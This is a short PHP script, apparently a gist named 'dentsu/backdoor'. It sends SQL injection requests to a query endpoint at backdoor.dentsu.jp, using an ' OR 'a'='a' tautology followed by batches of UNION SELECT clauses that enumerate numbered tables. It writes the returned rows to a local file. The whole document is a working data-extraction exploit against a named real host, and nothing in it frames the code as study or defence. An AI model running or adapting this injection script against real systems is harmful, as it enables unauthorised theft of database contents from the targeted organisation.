dentsu/backdoor

gistfile1.php

<?php

for($i = 1; $i < 20000; $i++) {
    $request = "";
    for($j = 0; $j < 99; $j++) {
        $i++;
        $table_num = sprintf("%05d", $i);
        $request .= 'UNION%0dSELECT%0d*%0dfrom%0dtable'.$table_num.'%0d';
        echo $table_num.PHP_EOL;
    }
    $url = 'http://backdoor.dentsu.jp/query/?q=%27%0dOR%0d%27a%27=%27a%27%0d'.$request.'--%20%0da&ts=4677631&_=1403057065710';
    $contents = file_get_contents($url);
    $data = json_decode($contents, true);
    $data = implode("\t", $data['results']).PHP_EOL;
    echo $i.PHP_EOL;
    file_put_contents('process.dat', $data, FILE_APPEND | LOCK_EX);
}